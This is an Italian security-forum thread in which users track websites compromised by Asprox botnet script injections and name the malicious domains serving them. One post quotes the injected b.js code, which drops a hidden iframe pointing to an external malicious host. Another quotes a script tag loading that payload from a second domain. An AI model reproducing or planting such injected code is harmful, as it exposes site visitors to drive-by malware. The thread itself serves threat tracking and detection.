[NEWS]Sito datasport.it ulteriormente compromesso

[Edgar Bangkok]

Nonostante datasport.IT sia stato completamente bonificato rimane sullo stesso ip il sito Sportmoiviestv.com
che risulta ancora compromesso da centinaia di scripts.
E' interessante notare che su questo sito c'e' una notevole presenza del link a bannerupd.com, a differenza degli altri siti compromessi dove questo nome di dominio era praticamente assente.
(img sul blog)

Tra l'altro cercando in rete riferimenti a bannerupd sono veramente pochi i siti attaccati, che presentano questo script al loro interno ed alcune pagine in rete che si occupano di Asprox botnet confermerebbero che si tratta di recente dominio “ More fresh Asprox domains - bannerupd.com .....”
Questo ad esempio un sito brasiliano che presenta riferimenti nella pagina a bannerupd:
(img sul blog)
Sulle stesse pagine di Sportmoviestv esiste anche uno script con link a banner82.com ma in misura minore.
(img sul blog)
Come nei recenti casi esaminati, bannerupd punta a pagina con script offuscato facente parte delle botnet Asprox che utilizza la tecnologia fastflux.

Edgar

http://edetools.blogspot.com/

[juninho85]

lo script su bannerupd e sempre il b.js con i medesimi contenuti giusto,falso antispyware a parte?

window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("bannerupdate=");
if (start != -1)
{}else{
var expires = new Date();
expires.setTime(expires.getTime()+8*1*60*60*1000);
document.cookie = "bannerupdate=update;expires=" + expires.toGMTString();
try{
document.write("<iframe src=http://exe94.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};
}

[Edgar Bangkok]

E' sempre. mi pare, del medesimo genere degli altri e punta sempre a pagine che sono hostate su asprox, con indirizzi IP che cambiano in continuazione.(fastflux)
Comunque fin che continueranno ad esserci siti facilmente bucabili come succede tutti i giorni (ho postato una news dove ci sono altri siti .it con pagine di hacking su server USA) mi sa' che la cosa e' destinata solo ad aumentare.


Edgar


http://edetools.blogspot.com/

[Chill-Out]

<script language="javascript" type="text/javascript" src="http://sysid
72.com/b.js"></script>

[juninho85]

link
a oggi solo authentium e symantec hanno aggiunto la rilevazione dello script nelle proprie firme
datasport è stato ripulito,Sportmoviestv.com ancora no

[juninho85]

link
buon segno